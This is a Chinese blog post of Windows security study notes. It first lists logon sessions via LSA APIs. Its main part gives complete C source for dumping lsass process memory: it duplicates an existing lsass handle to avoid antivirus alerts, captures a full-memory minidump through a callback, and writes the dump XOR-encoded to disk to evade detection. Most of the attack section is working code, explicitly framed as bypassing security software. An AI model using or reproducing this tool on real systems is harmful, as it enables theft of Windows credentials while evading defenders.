前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Windows安全学习随笔

Windows安全学习随笔

作者头像
Nayon
发布2023-04-17 20:03:07
1K0
发布2023-04-17 20:03:07
举报
文章被收录于专栏:内网安全学习笔记

0x1 前言

​ 许久不写博客,甚至已经有些忘记格式该是如何的,本篇博文用于记录我在学习Windows安全时的一些知识点。

0x2 实例Demo

0x01 LogonSessionList获取活动会话信息

​ 利用LogonSessionList结构我们可以读取系统内当前活动会话之信息,若用户尚未登陆,则无法通过此结构读取检测到用户的Session,因为系统内这时并没有与该用户关联的活动登录会话。

​ 同时,当用户注销会话后,我们也不可通过此结构获取其信息。

​ 导出LogonSessionList我们可以使用LsaEnumerateLogonSessions函数获取其数组指针,随后通过LsaGetLogonSessionData 函数读取其中的结构。

代码语言:javascript
复制
NTSTATUS LsaEnumerateLogonSessions(
  [out] PULONG LogonSessionCount,
  [out] PLUID  *LogonSessionList
);


NTSTATUS LsaGetLogonSessionData(
  [in]  PLUID                        LogonId,
  [out] PSECURITY_LOGON_SESSION_DATA *ppLogonSessionData
);

其中,我们需要SECURITY_LOGON_SESSION_DATA结构内的信息,其结构如下

代码语言:javascript
复制
typedef struct _SECURITY_LOGON_SESSION_DATA {
  ULONG                     Size;
  LUID                      LogonId;
  LSA_UNICODE_STRING        UserName;
  LSA_UNICODE_STRING        LogonDomain;
  LSA_UNICODE_STRING        AuthenticationPackage;
  ULONG                     LogonType;
  ULONG                     Session;
  PSID                      Sid;
  LARGE_INTEGER             LogonTime;
  LSA_UNICODE_STRING        LogonServer;
  LSA_UNICODE_STRING        DnsDomainName;
  LSA_UNICODE_STRING        Upn;
  ULONG                     UserFlags;
  LSA_LAST_INTER_LOGON_INFO LastLogonInfo;
  LSA_UNICODE_STRING        LogonScript;
  LSA_UNICODE_STRING        ProfilePath;
  LSA_UNICODE_STRING        HomeDirectory;
  LSA_UNICODE_STRING        HomeDirectoryDrive;
  LARGE_INTEGER             LogoffTime;
  LARGE_INTEGER             KickOffTime;
  LARGE_INTEGER             PasswordLastSet;
  LARGE_INTEGER             PasswordCanChange;
  LARGE_INTEGER             PasswordMustChange;
} SECURITY_LOGON_SESSION_DATA, *PSECURITY_LOGON_SESSION_DATA;

​ 我们可以通过for循环的方式将相关信息遍历导出。

代码语言:javascript
复制
#include<windows.h>
#include<stdio.h>
#include<iostream>
#include<NTSecAPI.h>
#include<tchar.h>

#pragma comment(lib,"Secur32.lib")


int main(int argc, char* argv[]) {
	ULONG LogonSessionCount;
	PLUID LogonSessionList;
	PSECURITY_LOGON_SESSION_DATA pLogonSessionData;
	NTSTATUS status;

	//分配内存
	pLogonSessionData = (PSECURITY_LOGON_SESSION_DATA)malloc(sizeof(SECURITY_LOGON_SESSION_DATA));

	status = LsaEnumerateLogonSessions(&LogonSessionCount, &LogonSessionList);
	if (status != ERROR_SUCCESS) {
		printf("LsaEnumrateLogonSessions ErrorCode:%u\r\n", GetLastError());
		return 0;
	}
	//读取现存有效session数
	printf("SessionCount %d\r\n", LogonSessionCount);
	//成功导出sessioncount 枚举每个session username
	for (int i = 0; i < LogonSessionCount; i++) {
		LsaGetLogonSessionData(LogonSessionList + i, &pLogonSessionData);
		_tprintf("%ws\\%ws\r\n", pLogonSessionData->LogonDomain,pLogonSessionData->UserName.Buffer);
	}
	LsaFreeReturnBuffer(pLogonSessionData);

	return 0;
}

效果如下:

0x02 间接获取进程句柄,回调函数加密lsass规避杀软

​ 随着技术的发展,杀软对lsass等进程句柄的获取有了更加严格的监控,下面我们将使用NtDuplicateObject间接获取进程句柄,避免告警。

0x001大体流程:
  1. 获得SeDebugPrivilege调试权限。
  2. 使用NtQuerySystemInformation获取所有进程打开的句柄
  3. 利用OpenProcess获取具有PROCESS_DUP_HANDLE权限的句柄
  4. 使用NtduplicateObject来Copy获取上述句柄的副本
  5. 通过NtQueryObject查询句柄信息,筛选出类型为Process的句柄
  6. 通过QueryFullProcessimageName判断进程是否为lsass的句柄
0x002函数、结构原型:
NtQueryObject
代码语言:javascript
复制
typedef NTSTATUS (NTAPI* NtQueryObject)(
	IN OPTIONAL  HANDLE                   Handle,
	IN           OBJECT_INFORMATION_CLASS ObjectInformationClass,
	OUT OPTIONAL PVOID                    ObjectInformation,
	IN            ULONG                    ObjectInformationLength,
	OUT OPTIONAL PULONG                   ReturnLength
);
NtQuerySystemInformation
代码语言:javascript
复制
typedef NTSTATUS (NTAPI* NtQuerySystemInformation)(
	IN          SYSTEM_INFORMATION_CLASS SystemInformationClass,
	IN OUT      PVOID                    SystemInformation,
	IN          ULONG                    SystemInformationLength,
	OUT OPTIONAL PULONG                   ReturnLength
);
NtDuplicateObject
代码语言:javascript
复制
typedef NTSTATUS(NTAPI* NtDuplicateObject)(
	HANDLE SourceProcessHandle,
	HANDLE SourceHandle,
	HANDLE TargetProcessHandle,
	PHANDLE TargetHandle,
	ACCESS_MASK DesiredAccess,
	ULONG Attributes,
	ULONG Options
	);
代码语言:javascript
复制
typedef struct _SYSTEM_HANDLE {
	ULONG ProcessId;
	BYTE ObjectTypeNumber;
	BYTE Flags;
	USHORT Handle;
	PVOID Object;
	ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION {
	ULONG HandleCount;	//Handle counts
	SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
0x003流程分析:

​ 获取Debug权限的操作,我们暂且略过,从第二步如何使用NtQuerySystemInformation获取系统内句柄信息开始演示.

获取函数地址,其余Nt函数流程大体一致

代码语言:javascript
复制
HMODULE hModule = GetModuleHandle("ntdll.dll");
pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(hModule, "NtQuerySystemInformation");
	if (!NtQuerySystemInformation) {
		printf("NtQuerySystemInformation get address failed %d\r\n",GetLastError());
		return 0;
	}

获取系统内的句柄信息

​ 提前申请SYSTEM_HANDLE_INFORMATION内存空间,使用while循环判断执行结果,若ReturnLength不足,函数会将缓冲区所需的大小返回至ReturnLength当中,继续循环申请内存直至成功。

代码语言:javascript
复制
PVOID SysInfo;
PSYSTEM_HANDLE_INFORMATION HandleInfo;
ULONG ReturnLength = 0;
NTSTATUS status;

while ((status = NtQuerySystemInformation(
	SystemHandleInformation,
	HandleInfo,
	ReturnLength,
	&ReturnLength
)) == STATUS_INFO_LENGTH_MISMATCH)
	HandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(HandleInfo, ReturnLength *= 2);
if (!NT_SUCCESS(status)) {
	printf("NtQuerySystemInformation Failed:%u\r\n", GetLastError());
	return 0;
}

if (!NT_SUCCESS(status)) {
	printf("NtQuerySystemInformation Failed:%u\r\n", GetLastError());
	return 0;
}

筛选进程句柄

用到的结构体

代码语言:javascript
复制
typedef struct _SYSTEM_HANDLE {
	ULONG ProcessId;//进程id
	BYTE ObjectTypeNumber;
	BYTE Flags;
	USHORT Handle;	//句柄的USHOT形式,若要使用,可利用(Void*)进行强转
	PVOID Object;
	ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;


typedef struct __OBJECT_TYPE_INFORMATION {
	UNICODE_STRING TypeName;	//获得该对象的类型名的UNICODE_STRING
	ULONG TotalNumberOfObjects;
	ULONG TotalNumberOfHandles;
	ULONG TotalPagedPoolUsage;
	ULONG TotalNonPagedPoolUsage;
	ULONG TotalNamePoolUsage;
	ULONG TotalHandleTableUsage;
	ULONG HighWaterNumberOfObjects;
	ULONG HighWaterNumberOfHandles;
	ULONG HighWaterPagedPoolUsage;
	ULONG HighWaterNonPagedPoolUsage;
	ULONG HighWaterNamePoolUsage;
	ULONG HighWaterHandleTableUsage;
	ULONG InvalidAttributes;
	GENERIC_MAPPING GenericMapping;
	ULONG ValidAccessMask;
	BOOLEAN SecurityRequired;
	BOOLEAN MaintainHandleCount;
	UCHAR TypeIndex;
	CHAR Reserved;
	ULONG PoolType;
	ULONG DefaultPagedPoolCharge;
	ULONG DefaultNonPagedPoolCharge;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;

​ 利用for循环,遍历存储于SYSTEM_HANDLE_INFORMATION结构中的句柄信息,使用OpenProcess打开一个具有PROCESS_DUP_HANDLEPROCESS_QUERY_LIMITED_INFORMATION权限的进程句柄,为避免杀软检测,我们并不能直接使用系统中存在的这份句柄,我们需要使用NtDuplicateObject函数copy一份该进程的句柄以供我们使用。

代码语言:javascript
复制
SYSTEM_HANDLE sysHandle;
HANDLE hProcess=NULL, Duplitehandle=NULL,targetHandle=NULL;
NTSTATUS status;
POBJECT_TYPE_INFORMATION objectTypeInfo;

	for (int index=1; index < HandleInfo->HandleCount; index++) {
		//printf("Handle ProcessId:%d\r\n", HandleInfo->Handles[index].ProcessId);
		if (HandleInfo->Handles[index].ProcessId == 4)
			continue;

		sysHandle = HandleInfo->Handles[index];
		hProcess = OpenProcess(PROCESS_DUP_HANDLE|PROCESS_QUERY_LIMITED_INFORMATION, false, sysHandle.ProcessId);
		if (!hProcess) {
			continue;
		}

		//try to copy handle
		status = NtDuplicateObject(hProcess, (void*)sysHandle.Handle,GetCurrentProcess(), &Duplitehandle, PROCESS_VM_READ|PROCESS_QUERY_INFORMATION, NULL, NULL);
		if (!NT_SUCCESS(status)) {
			/*printf("DupliteHandle Failed of the pid:%d\r\n", sysHandle.ProcessId);*/
			continue;
		}
		//Query handle info
        ReturnLength = 0; //Reset ReturnLength
		while ((status = NtQueryObject(
			Duplitehandle,
			ObjectTypeInformation,
			objectTypeInfo,
			ReturnLength,
			&ReturnLength)) == STATUS_INFO_LENGTH_MISMATCH) {
			objectTypeInfo = (POBJECT_TYPE_INFORMATION)realloc(objectTypeInfo, ReturnLength * 2);
		}
		if (!objectTypeInfo) {
			printf("could not get the handle information\r\n");
			continue;
		}
		
		wchar_t path[255];
 
		DWORD buffSize = 255;

	}

​ 此处我们使用wcscmp函数查找ObjectTypeInfo的TypeName.buffer出现Process关键字的句柄,若存在进入下一层判断,利用QueryFullProcessImageName查找进程名等信息,进而使用wcsstr函数查找出现该关键字的进程,并利用targetHandleProcessID变量将复制的句柄、lsass进程的PID保存。

代码语言:javascript
复制
wchar_t path[255];
 
DWORD buffSize = 255;

if (wcscmp(L"Process", objectTypeInfo->TypeName.Buffer) == 0) {
	//查找进程名等信息
	if (!QueryFullProcessImageName(Duplitehandle, 0, path, &buffSize)) {
		printf("QueryFullProcessImagenameW Failed,ErrorCode:%d\r\n", GetLastError());
	}
	else
	{
		if (wcsstr(path,L"lsass") != NULL) {
			printf("[+] Found the Process Handle ,%d\r\n", sysHandle.ProcessId);
			targetHandle = Duplitehandle;
			ProcessID = sysHandle.ProcessId;
		}
	}
}

MiniDumpCallBack

​ 触发回调之后,通过RtlCopyMemoryLsass进程内的内容存到堆指针dumpBuffer所指向的堆空间当中;触发回调函数时,利用全局变量bytesRead获得我们已转储的lsass进程内存内容的大小,利用callbackInput->Io.Offset以及callbackInput->Io.BufferBytes获取每次我们读取内存内容的开始位置以及大小。

代码语言:javascript
复制

//Apply for the Buffer for saving Lsass dump file
LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 70); //Alloction 70m
DWORD bytesRead = 0;


BOOL CALLBACK minidumpCallback(__in PVOID callbackParam,__in const PMINIDUMP_CALLBACK_INPUT callbackInput,__inout PMINIDUMP_CALLBACK_OUTPUT callbackOutput)
{
	LPVOID Destination=0, Source=0;
	DWORD bufferSize = 0;

	switch (callbackInput->CallbackType)
	{
	//Triggering Write CallbackFunc
	case IoStartCallback:
		callbackOutput->Status = S_FALSE;
		break;
	case IoWriteAllCallback:
		callbackOutput->Status = S_OK;

		//抓取触发回调后 读取lsass 要被dump的内存内容
		Source = callbackInput->Io.Buffer;
		//计算存储这部分内容的位置  堆的基地址+lsass转储内存内容的开始偏移
		Destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);

		//上面被读取的小块内容的大小
		bufferSize = callbackInput->Io.BufferBytes;
		bytesRead += bufferSize;
		//向堆中写入lsass的小块内容
		RtlCopyMemory(Destination, Source, bufferSize);
		//printf("[+]Minidump offset %x,content length:%x\r\n", callbackInput->Io.Offset, callbackInput->Io.BufferBytes);
		printf("[+] Io.Offset %x\r\n", callbackInput->Io.Offset);
		break;
	case IoFinishCallback:
		callbackOutput->Status = S_OK;
		break;



	default:
		return true;
	}
	return true;
}
0x004完整源码:
代码语言:javascript
复制
#include<Windows.h>
#include<stdio.h>
#include<tchar.h>
#include<iostream>
#include<ProcessSnapshot.h>
#include<DbgHelp.h>





#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
#define NT_SUCCESS(x) ((x) >= 0)
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")
#pragma comment (lib,"Dbghelp.lib")

typedef enum _SYSTEM_INFORMATION_CLASS {
	SystemBasicInformation = 0,
	SystemProcessorInformation = 1,
	SystemPerformanceInformation = 2,
	SystemTimeOfDayInformation = 3,
	SystemPathInformation = 4,
	SystemProcessInformation = 5,
	SystemCallCountInformation = 6,
	SystemDeviceInformation = 7,
	SystemProcessorPerformanceInformation = 8,
	SystemFlagsInformation = 9,
	SystemCallTimeInformation = 10,
	SystemModuleInformation = 11,
	SystemLocksInformation = 12,
	SystemStackTraceInformation = 13,
	SystemPagedPoolInformation = 14,
	SystemNonPagedPoolInformation = 15,
	SystemHandleInformation = 16,
	SystemObjectInformation = 17,
	SystemPageFileInformation = 18,
	SystemVdmInstemulInformation = 19,
	SystemVdmBopInformation = 20,
	SystemFileCacheInformation = 21,
	SystemPoolTagInformation = 22,
	SystemInterruptInformation = 23,
	SystemDpcBehaviorInformation = 24,
	SystemFullMemoryInformation = 25,
	SystemLoadGdiDriverInformation = 26,
	SystemUnloadGdiDriverInformation = 27,
	SystemTimeAdjustmentInformation = 28,
	SystemSummaryMemoryInformation = 29,
	SystemNextEventIdInformation = 30,
	SystemEventIdsInformation = 31,
	SystemCrashDumpInformation = 32,
	SystemExceptionInformation = 33,
	SystemCrashDumpStateInformation = 34,
	SystemKernelDebuggerInformation = 35,
	SystemContextSwitchInformation = 36,
	SystemRegistryQuotaInformation = 37,
	SystemExtendServiceTableInformation = 38,
	SystemPrioritySeperation = 39,
	SystemVerifierAddDriverInformation = 40,
	SystemVerifierRemoveDriverInformation = 41,
	SystemProcessorIdleInformation = 42,
	SystemLegacyDriverInformation = 43,
	SystemCurrentTimeZoneInformation = 44,
	SystemLookasideInformation = 45,
	SystemTimeSlipNotification = 46,
	SystemSessionCreate = 47,
	SystemSessionDetach = 48,
	SystemSessionInformation = 49,
	SystemRangeStartInformation = 50,
	SystemVerifierInformation = 51,
	SystemVerifierThunkExtend = 52,
	SystemSessionProcessInformation = 53,
	SystemLoadGdiDriverInSystemSpace = 54,
	SystemNumaProcessorMap = 55,
	SystemPrefetcherInformation = 56,
	SystemExtendedProcessInformation = 57,
	SystemRecommendedSharedDataAlignment = 58,
	SystemComPlusPackage = 59,
	SystemNumaAvailableMemory = 60,
	SystemProcessorPowerInformation = 61,
	SystemEmulationBasicInformation = 62,
	SystemEmulationProcessorInformation = 63,
	SystemExtendedHandleInformation = 64,
	SystemLostDelayedWriteInformation = 65,
	SystemBigPoolInformation = 66,
	SystemSessionPoolTagInformation = 67,
	SystemSessionMappedViewInformation = 68,
	SystemHotpatchInformation = 69,
	SystemObjectSecurityMode = 70,
	SystemWatchdogTimerHandler = 71,
	SystemWatchdogTimerInformation = 72,
	SystemLogicalProcessorInformation = 73,
	SystemWow64SharedInformationObsolete = 74,
	SystemRegisterFirmwareTableInformationHandler = 75,
	SystemFirmwareTableInformation = 76
} SYSTEM_INFORMATION_CLASS, * PSYSTEM_INFORMATION_CLASS;

typedef struct _UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef LONG KPRIORITY;
typedef struct _SYSTEM_PROCESS_INFORMATION {
	ULONG NextEntryOffset;
	ULONG NumberOfThreads;
	BYTE Reserved1[48];
	UNICODE_STRING ImageName;
	KPRIORITY BasePriority;
	HANDLE UniqueProcessId;
	PVOID Reserved2;
	ULONG HandleCount;
	ULONG SessionId;
	PVOID Reserved3;
	SIZE_T PeakVirtualSize;
	SIZE_T VirtualSize;
	ULONG Reserved4;
	SIZE_T PeakWorkingSetSize;
	SIZE_T WorkingSetSize;
	PVOID Reserved5;
	SIZE_T QuotaPagedPoolUsage;
	PVOID Reserved6;
	SIZE_T QuotaNonPagedPoolUsage;
	SIZE_T PagefileUsage;
	SIZE_T PeakPagefileUsage;
	SIZE_T PrivatePageCount;
	LARGE_INTEGER Reserved7[6];
} SYSTEM_PROCESS_INFORMATION;

typedef struct _SYSTEM_HANDLE {
	ULONG ProcessId;
	BYTE ObjectTypeNumber;
	BYTE Flags;
	USHORT Handle;
	PVOID Object;
	ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION {
	ULONG HandleCount;
	SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef enum _OBJECT_INFORMATION_CLASS {
	ObjectBasicInformation, 
	ObjectNameInformation, 
	ObjectTypeInformation, 
	ObjectAllTypesInformation,
	ObjectHandleInformation, 

	ObjectTypesInformation, 
	ObjectDataInformation
}OBJECT_INFORMATION_CLASS, * POBJECT_INFORMATION_CLASS;

typedef NTSTATUS (NTAPI* pNtQueryObject)(
	IN OPTIONAL  HANDLE                   Handle,
	IN           OBJECT_INFORMATION_CLASS ObjectInformationClass,
	OUT OPTIONAL PVOID                    ObjectInformation,
	IN            ULONG                    ObjectInformationLength,
	OUT OPTIONAL PULONG                   ReturnLength
);



typedef NTSTATUS (NTAPI* pNtQuerySystemInformation)(
	IN          SYSTEM_INFORMATION_CLASS SystemInformationClass,
	IN OUT      PVOID                    SystemInformation,
	IN          ULONG                    SystemInformationLength,
	OUT OPTIONAL PULONG                   ReturnLength
);



typedef struct __OBJECT_TYPE_INFORMATION {
	UNICODE_STRING TypeName;
	ULONG TotalNumberOfObjects;
	ULONG TotalNumberOfHandles;
	ULONG TotalPagedPoolUsage;
	ULONG TotalNonPagedPoolUsage;
	ULONG TotalNamePoolUsage;
	ULONG TotalHandleTableUsage;
	ULONG HighWaterNumberOfObjects;
	ULONG HighWaterNumberOfHandles;
	ULONG HighWaterPagedPoolUsage;
	ULONG HighWaterNonPagedPoolUsage;
	ULONG HighWaterNamePoolUsage;
	ULONG HighWaterHandleTableUsage;
	ULONG InvalidAttributes;
	GENERIC_MAPPING GenericMapping;
	ULONG ValidAccessMask;
	BOOLEAN SecurityRequired;
	BOOLEAN MaintainHandleCount;
	UCHAR TypeIndex;
	CHAR Reserved;
	ULONG PoolType;
	ULONG DefaultPagedPoolCharge;
	ULONG DefaultNonPagedPoolCharge;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;

typedef NTSTATUS(NTAPI* pNtDuplicateObject)(
	HANDLE SourceProcessHandle,
	HANDLE SourceHandle,
	HANDLE TargetProcessHandle,
	PHANDLE TargetHandle,
	ACCESS_MASK DesiredAccess,
	ULONG Attributes,
	ULONG Options
	);


typedef NTSTATUS (NTAPI* pRtlAdjustPrivilege)(
	ULONG    Privilege,
	BOOLEAN  Enable,
	BOOLEAN  CurrentThread,
	PBOOLEAN Enabled
);


//Apply for the Buffer for saving Lsass dump file
LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 70); //Alloction 70m
DWORD bytesRead = 0;


DWORD FindProcHandle();
 

BOOL EnableSeDebugPrivilege(BOOL fEnable, HANDLE& hToken);
int main() {
	BOOLEAN enabled;
	if (RtlAdjustPrivilege == NULL) {
		printf("Not Found pRtlAdjustPrivilege Func,ErrorCode:%u\r\n", GetLastError());
		return 0;
	}


	HANDLE hToken = NULL, PrimaryToken = NULL;



	if (EnableSeDebugPrivilege(true, hToken))
		printf("SeDebugPrivilege success\r\n");
	else
		printf("SedebugPrivilege failed\r\n");


	DWORD pid = FindProcHandle();

	return 0;
}

BOOL CALLBACK minidumpCallback(__in PVOID callbackParam,__in const PMINIDUMP_CALLBACK_INPUT callbackInput,__inout PMINIDUMP_CALLBACK_OUTPUT callbackOutput)
{
	LPVOID Destination=0, Source=0;
	DWORD bufferSize = 0;

	switch (callbackInput->CallbackType)
	{
	//Triggering Write CallbackFunc
	case IoStartCallback:
		callbackOutput->Status = S_FALSE;
		break;
	case IoWriteAllCallback:
		callbackOutput->Status = S_OK;

		//抓取触发回调后 读取lsass 要被dump的内存内容
		Source = callbackInput->Io.Buffer;
		//计算存储这部分内容的位置  堆的基地址+lsass转储内存内容的开始偏移
		Destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);

		//上面被读取的小块内容的大小
		bufferSize = callbackInput->Io.BufferBytes;
		bytesRead += bufferSize;
		//向堆中写入lsass的小块内容
		RtlCopyMemory(Destination, Source, bufferSize);
		//printf("[+]Minidump offset %x,content length:%x\r\n", callbackInput->Io.Offset, callbackInput->Io.BufferBytes);
		printf("[+] Io.Offset %x\r\n", callbackInput->Io.Offset);
		break;
	case IoFinishCallback:
		callbackOutput->Status = S_OK;
		break;



	default:
		return true;
	}
	return true;
}


BOOL EnableSeDebugPrivilege(BOOL fEnable, HANDLE& hToken)
{

	BOOL fok = FALSE;


	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
	{

		TOKEN_PRIVILEGES tp;//结构体,表示令牌权限

		//只启动调试权限,所以权限的个数是一个
		tp.PrivilegeCount = 1;

		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

		//下面一句话,在tp.Privilege[0].Attributes属性中,设置是开启这个权限还是关闭这个权限
		tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;

		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);


		fok = (GetLastError() == ERROR_SUCCESS);
	}
	return fok;
}



DWORD FindProcHandle()
{
	HANDLE hProcess=NULL, Duplitehandle=NULL,targetHandle=NULL;
	HMODULE hModule = GetModuleHandle(L"ntdll.dll");


	PVOID SysInfo;
	PSYSTEM_HANDLE_INFORMATION HandleInfo=nullptr;
	SYSTEM_HANDLE sysHandle;
	POBJECT_TYPE_INFORMATION objectTypeInfo=nullptr;
	ULONG ReturnLength=0;
	DWORD index = 1,ProcessID=0;
	NTSTATUS status;

	pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(hModule, "NtQuerySystemInformation");
	if (!NtQuerySystemInformation) {
		printf("NtQuerySystemInformation get address failed %d\r\n",GetLastError());
		return 0;
	}
	pNtDuplicateObject NtDuplicateObject = (pNtDuplicateObject)GetProcAddress(hModule, "NtDuplicateObject");
	if (!NtDuplicateObject) {
		printf("NtDumplicateObject get address failed %d\r\n",GetLastError());
		return 0;
	}
	pNtQueryObject NtQueryObject = (pNtQueryObject)GetProcAddress(hModule, "NtQueryObject");
	if (!NtQueryObject) {
		printf("NtQueryObject get address failed %d\r\n",GetLastError());
		return 0;
	}
	
	//get processinformation
	//HandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(0x10000);
	while ((status = NtQuerySystemInformation(
		SystemHandleInformation,
		HandleInfo,
		ReturnLength,
		&ReturnLength
	)) == STATUS_INFO_LENGTH_MISMATCH)
		HandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(HandleInfo, ReturnLength *= 2);
	if (!NT_SUCCESS(status)) {
		printf("NtQuerySystemInformation Failed:%u\r\n", GetLastError());
		return 0;
	}
	for (; index < HandleInfo->HandleCount; index++) {
		//printf("Handle ProcessId:%d\r\n", HandleInfo->Handles[index].ProcessId);
		if (HandleInfo->Handles[index].ProcessId == 4)
			continue;

		sysHandle = HandleInfo->Handles[index];
		hProcess = OpenProcess(PROCESS_DUP_HANDLE|PROCESS_QUERY_LIMITED_INFORMATION, false, sysHandle.ProcessId);
		if (!hProcess) {
			continue;
		}

		//try to copy handle
		status = NtDuplicateObject(hProcess, (void*)sysHandle.Handle,GetCurrentProcess(), &Duplitehandle, PROCESS_VM_READ|PROCESS_QUERY_INFORMATION, NULL, NULL);
		if (!NT_SUCCESS(status)) {
			continue;
		}

		ReturnLength = 0;
		while ((status = NtQueryObject(
			Duplitehandle,
			ObjectTypeInformation,
			objectTypeInfo,
			ReturnLength,
			&ReturnLength)) == STATUS_INFO_LENGTH_MISMATCH) {
			objectTypeInfo = (POBJECT_TYPE_INFORMATION)realloc(objectTypeInfo, ReturnLength * 2);
		}
		if (!objectTypeInfo) {
			printf("could nt get the handle information %d\r\n",GetLastError());
			continue;
		}
		
		wchar_t path[255];
 
		DWORD buffSize = 255;

		if (wcscmp(L"Process", objectTypeInfo->TypeName.Buffer) == 0) {
			//查找进程名等信息
			if (!QueryFullProcessImageName(Duplitehandle, 0, path, &buffSize)) {
				printf("QueryFullProcessImagenameW Failed,ErrorCode:%d\r\n", GetLastError());
			}
			else
			{
				if (wcsstr(path,L"lsass") != NULL) {
					printf("[+] Found the Process Handle ,%d\r\n", sysHandle.ProcessId);
					targetHandle = Duplitehandle;
					ProcessID = sysHandle.ProcessId;
				}
			}
		}

	}




	//try to get the  process dump file 
	HANDLE hFile = CreateFile(L"C:\\users\\86156\\desktop\\mini.dmp", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if (!hFile) {
		printf("CreateFile ErrorCode:%u\r\n", GetLastError());
		return false;
;	}

	//Set up minidump callback
	MINIDUMP_CALLBACK_INFORMATION callbackInfo;
	ZeroMemory(&callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));
	callbackInfo.CallbackRoutine = &minidumpCallback;
	callbackInfo.CallbackParam = NULL;

	boolean isDumped =  MiniDumpWriteDump(targetHandle, ProcessID, NULL, MiniDumpWithFullMemory, NULL, NULL,&callbackInfo );
	if (isDumped) {
		printf("Dump Process Memory Context to heap success\r\n");
		/*WriteFile(hFile, dumpBuffer, bytesRead, &bytesRead, NULL); */
		//printf("Size = %x\r\n", *((char*)dumpBuffer+3)^'a'^'a');
		DWORD strLeng = 1;
		for (int i = 0; i < bytesRead; i++) {
			char str = *((char*)dumpBuffer + i) ^ 'a' ;
			LPVOID lpStr = &str;
			WriteFile(hFile, lpStr, strLeng, &strLeng, NULL);
		}

	}
	else {
		printf("%d\r\n",GetLastError());
	}
	CloseHandle(hFile);
	free(dumpBuffer);
	CloseHandle(hProcess);
	CloseHandle(Duplitehandle);
	CloseHandle(targetHandle);

	return 0;
}
0x3参考文章
代码语言:javascript
复制
https://tttang.com/archive/1810/#toc_ntduplicateobject
https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649751822&idx=3&sn=d8a0d685152418e7b8a6abf532365aa2&chksm=88933161bfe4b87759a0483aeb25c6bc82d098b7d98209b6cd482b3c5bd845aec349df30ae57#rd
https://loong716.top/posts/lsass/
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-03-072,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x1 前言
  • 0x2 实例Demo
    • 0x01 LogonSessionList获取活动会话信息
      • 0x02 间接获取进程句柄,回调函数加密lsass规避杀软
        • 0x001大体流程:
        • 0x002函数、结构原型:
        • 0x003流程分析:
        • 0x004完整源码:
      • 0x3参考文章
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档